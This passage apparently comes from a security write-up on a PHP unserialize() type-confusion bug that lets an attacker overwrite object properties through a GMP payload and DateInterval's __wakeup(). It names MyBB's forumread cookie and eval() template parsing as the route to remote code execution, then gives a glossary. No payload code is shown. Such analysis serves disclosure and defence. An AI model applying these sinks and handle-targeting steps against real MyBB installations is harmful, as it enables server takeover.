unserializehandlers and copy properties into an object after magic methods may run. A positive result is a pre-existing object's properties changing afterunserialize(), as in thestdClassproof of concept. - Magic methods that coerce a referenced value to another type, such as
DateInterval's__wakeup()withconvert_to_long(), can substitute for a custom__wakeup(). A positive result is the GMP value being converted to an integer and the property copy landing on the object with that handle. - Applications that call
unserialize()on cookies, as MyBB does withmybb[forumread], are direct sinks. A positive result is a controlled property appearing on an object created earlier in the request. - Applications that pass deserialised data into
eval(), as MyBB does with template parsing, turn a property overwrite into code execution. A positive result is injected PHP running in the response. - Object handle numbers depend on how many objects the application creates before the target. A positive result is finding the handle of the object whose property you want to overwrite and using that integer in the GMP payload.
Glossary
- Cookie: a small piece of text a website asks your browser to store and send back on every request, used to remember things between page loads.
- curl: a command-line program that sends HTTP requests, useful for testing web servers with full control over headers and cookies.
- CVSS: a standard scoring system for the severity of a security vulnerability. The report gives no score.
- Deserialisation (unserialization): turning a stored string back into a live object in a program.
- eval(): a PHP function that runs a string as PHP code.
- GMP: a PHP extension for arithmetic with very large numbers.
- Handle (object handle): the number PHP assigns to each object when it is created, used to find it in the object store.
- Hash table: PHP's internal key-value structure, used here to store an object's properties.
- Magic method: a function PHP calls automatically at certain moments, such as
__wakeup()after an object is rebuilt from a string. - MyBB: a forum (bulletin board) web application written in PHP.
- Object store: PHP's internal list of every object alive during a request, indexed by handle.
- phpinfo(): a PHP function that prints information about the PHP installation, often used to prove code execution.
- Remote code execution (RCE): an attacker making the server run code of their choosing, usually without logging in.
- Serialisation: turning a live object into a string so it can be stored or sent.
- Sink: the place in an application where attacker-controlled data reaches a dangerous operation.
- SQL injection: an attack where attacker text changes the meaning of a database query.
- stdClass: PHP's built-in plain object type, with no class definition of its own.
- Type confusion: a bug where a program misinterprets what kind of value it is holding, often letting an attacker influence memory.
- URL encoding: replacing characters that are special in a URL or header with a
%code, such as%3bfor a semicolon. - XSS (cross-site scripting): an attack where an attacker gets their own JavaScript to run in another visitor's browser.
- ZVAL: PHP's internal container for a single value, holding the value plus a tag saying what type it is.
- __wakeup(): a PHP magic method called on an object right after it has been rebuilt from a serialised string.